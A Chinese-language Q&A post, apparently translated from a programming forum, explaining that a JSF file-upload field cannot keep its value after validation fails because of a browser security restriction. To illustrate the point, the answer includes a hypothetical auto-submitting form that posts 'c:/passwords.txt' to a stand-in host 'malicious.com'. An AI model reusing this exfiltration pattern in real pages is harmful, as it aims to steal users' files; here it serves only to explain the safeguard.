验证失败后JSF 值丢失

问题描述:

验证以下代码后发现上传文件路径的值丢失。无论如何,我可以在验证失败后保留价值吗?谢谢。验证失败后JSF <t:inputFileUpload>值丢失

<t:inputFileUpload id="uploadFile" value="#{backBean.uploadFile}" storage="file" required="false" /> 

这是不可能的。这是HTML的安全限制。您无法预先填写/保留HTML <input type="file">字段的值。由于JSF只是生成HTML,因此JSF不能做太多的事情。

想象,这个安全限制是不存在的,网站将能够做到以下几点:

<form id="tryToGetPasswords" action="http://malicious.com" method="post" enctype="multipart/form-data"> 
    <input type="file" name="file" value="c:/passwords.txt" /> 
</form> 
<script>document.getElementById('tryToGetPasswords').submit();</script> 

你看到了吗?